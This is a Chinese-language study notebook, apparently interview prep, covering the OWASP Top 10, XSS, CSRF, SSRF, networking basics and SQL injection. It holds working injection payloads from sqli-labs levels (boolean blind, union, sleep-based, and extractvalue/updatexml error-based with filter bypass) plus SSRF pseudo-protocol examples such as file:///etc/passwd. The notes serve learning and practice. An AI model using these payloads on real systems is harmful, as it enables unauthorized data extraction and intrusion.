数字取证
一、飞桨Ai Studio平台,具体调参,比如改部署,改损失函数为MSELoss,不过没有深入了解原理,后续业余时间准备继续学习
二、PaddleGAN,飞桨平台的生成对抗网络开发套件,含有当前主流的GAN算法,各类GAN任务上手简单,提供换脸、声音对口型、视频/照片修复(上色、超分、插帧)、照片动漫化、图像生成、图像风格迁移等功能
三、超分,是套件接口提供的功能之一,飞桨上有一些开源分享的项目及代码
(OWASP,Open Web Application Security Project,开放式Web应用程序安全项目)。列表总结了Web应用程序最可能、最常见、最危险的十大漏洞,
A1 注入injection:诱使解析器在没有适当授权的情况下执行非预期命令或访问数据
A2 失效的身份认证:被破译、冒充
A3 敏感数据泄露:交互时数据未加密
A4 XXE,XML External Entity外部实体attack:诱使执行远程代码、访问内部数据
A5 失效的访问控制:攻击者可利用缺陷访问未经授权的功能或数据
A6 安全配置错误:不安全的默认配置、不完整的临时配置、开源云存储
A7 XSS,跨站脚本:▲劫持用户会话、执行脚本
A8 不安全的反序列化:执行远程代码,如注入攻击、特权升级攻击
A9 使用含有已知漏洞的组件:组件如库、框架拥有和应用程序相同的权限
A10 不足的日志记录和监控:等保的响应缺失问题,e.g. 大多数缺陷研究都显示,缺陷被检出时间超过200天,且通常由外部检测方检出
算法
TCP
x
y SYN=x+1
x+1
XSS
一、(XSS,Cross Site Scripting,跨站脚本攻击),避免混淆于(CSS,Cascading Style Sheets,层叠式样式表),
二、反射型、存储型、DOM型:
i 服务器不存储该数据,且原封不动地反射、即显示到页面中,此时脚本(通常为js)执行
ii 服务器存储该数据,被其它用户访问读出显示,脚本执行
iii 使用的数据不从服务器,而直接从DOM、Window等对象中获取,如登陆界面的跳转逻辑的js脚本中的参数、提示输入不合法的onerror属性,▲
三、危害:盗取用户cookie
四、防御:
i 将用于登录相关的cookie设置为httpOnly
ii 安装一个“xss模块”用于过滤或编码转义用户输入,检查<、>, '及"等
CSRF
(CSRF,Cross-Site Request Forgery,跨站请求伪造,也称One Click Attack),其通常诱导用户点击图片或者链接,链接包含攻击性操作和参数,以用户身份发起伪造请求
一、前提:用户须先登录目标网站并在本地生成了对应的cookie;在用户未登出的情况下访问了危险网站
二、危害:有该用户权限
三、防御:
i 增加csrf token校验:这是用户登录成功后,服务器生成并返回的一个token,存放在无法跨域访问的cookie和localStorage里,但每次发起请求时都带上
ii 校验请求头的referer属性值:点击某个网站链接后,请求头会带上referer属性。不知是否有对策▲
SSRF
一、(SSRF,Server-Side Request Forgery,服务器端请求伪造),攻击者利用服务器发起伪造请求。一般网站服务器很少存在接受用户指定访问目标、且不作限制的需求,但若网站真的存在这样的风险,则可利用。
二、特征
i web功能,如分享、转码、翻译、加载、收藏、未公开api
ii url关键字,如share、wap、url、link、src、source、target、u、display、sourceURl、imageURL、domain
iii 伪协议,如
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
三层交换机
一、介绍
i 三层交换机就是具有部分路由器功能的交换机,工作在TCP/IP网络标准模型的第三层网络层。既有二层交换机的功能又有三层路由器的功能,同时能实现VLAN间的通信。
iii 最重要目的是加快大型局域网内部的数据交换,所具有的路由功能也是为这目的服务的,能做到一次路由多次转发。硬件实现数据包转发等规律性的过程,软件实现路由信息更新、路由表维护、路由计算、路由确定等功能。
iii 三层交换技术=二层交换技术+三层转发技术。传统交换技术在第二层数据链路层进行操作,而其在第三层实现了数据包的高速转发,既可实现网络路由功能,又可根据不同网络状况做到最优网络性能。
二、工作原理
1、三层交换机基于转发信息库(FIB)和邻接关系表进行数据转发
2、如果在同一网段,但不知道转发数据所需的MAC地址,A就发送一个ARP请求,B返回其MAC地址,A用此MAC封装数据包并发送给交换机,交换机起用二层交换模块,查找MAC地址表,将数据包转发到相应的端口。
3、如果目的IP地址显示不是同一网段的,那么A要实现和B的通讯,在流缓存条目中没有对应MAC地址条目,就将第一个正常数据包发送向一个缺省网关,这个缺省网关一般在操作系统中已经设好,对应第三层路由模块,所以可见对于不是同一子网的数据,最先在MAC表中放的是缺省网关的MAC地址;然后就由三层模块接收到此数据包,查询路由表以确定到达B的路由,将构造一个新的帧头,其中以缺省网关的MAC地址为源MAC地址,以主机B的MAC地址为目的MAC地址。通过一定的识别触发机制,确立主机A与B的MAC地址及转发端口的对应关系,并记录进流缓存条目表,以后的A到B的数据,就直接交由二层交换模块完成。这就通常所说的一次路由多次转发。
NAT
装有 NAT 软件的路由器称NAT 路由器。NAT 路由器内有一张用来记录转换地址的表,netstat -nr显示路由表。地址离开、进入内网都是通过查表。
通常所说的NAT指NAPT,转换IP地址、TCP 、UDP 端口号。NAT路由器不必为私有网络中每一客户端生成一个IP地址,而是使用不同端口。
sql注入
一、分类:
- 基于OWASP标准:
带内注入(会显错)、带外注入(查询结果会在屏幕上输出)、盲注(推理,可能通过延时注入、布尔注入 结果只有1/0,配合其它函数:)length(database())=1 - 基于效果分类(重点掌握 面试时):
显错注入、布尔注入、联合注入、延时注入、带外注入、宽字节注入、堆叠注入
二、显错的前提下:
1.判断注入点 urlxxx/?id=1' and 1=2-- -
2.判断注入类型
布尔:
sqlilabs第八关
payload:
猜测数据库的基本信息的长度:
and length(database())=8 -- - //页面正常显示,表示长度就是;可使用bp进行爆破
截取数据库名的第一个字母:
and ascii(substr(database(),1,1))=8 -- - //第一个字符开始截取,截取一个长度;使用bp爆破数字,再将爆破的数字,用ascii码 编码转换器,解码成对应的字母
判断mysql中数据库的数量:
and (select count(*) from information_schema.schemata)=1 -- -
判断第一个数据库名的长度:
and (select length(schema_name) from information_schema.schemata limit 0,1)=1-- -
判断第一个数据库名的第一个字符:
and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=1-- -
//limit 0,1第一个库名 后面的1,1:截取库名的第一个字母 ————1,1表示:第一个字符向后截取一个长度
联合:
1' order by 1 --+' #往上加
得到列数后
1' union select 语句,2,3 --+' #一样往上加
group by 列名x 和order by n:
按x排序并剔除重复留下首个
延时:
1' and if(length(database())>3,sleep(3),1) #
报错:
sqlilabs第五关
当页面不显示sql语句执行结果、但输出错误信息时,常用
(1)extractvalue()
(2)updataxml()
(3)count()+rand()+floor()+group by()导致的主键重复
extractvalue():对数据进行一个排序
payload:如
urlxxx/?id=1' and extractvalue(null,concat(0x7,(sqli_inject),0x7e))--+
指定第一个参数为null,可换成1、#或其它符号使其报错,并执行第二个参数语句。0x7e表示”-“号。
但,extractvalue()最大返回长度为32,故可用limit N,1一行一行回显(0~N-1):
sqli_inject = select table_name from information_schema.tables where table_schema='security' limit 0,1
updatexml(xml_document,xpath_string,new_value):替换指定文档符合xpath格式字符串的数据为指定数据
27关
payload:
urlxxx/?id=1'%a0and%a0updatexml(1,concat(0x7e,(sqli_inject),0x7e),1)%a0and%a0'1'='1
sqli_inject = selecT%a0database()
懒不立即整理,后续回看一堆字难懂
选物-21:20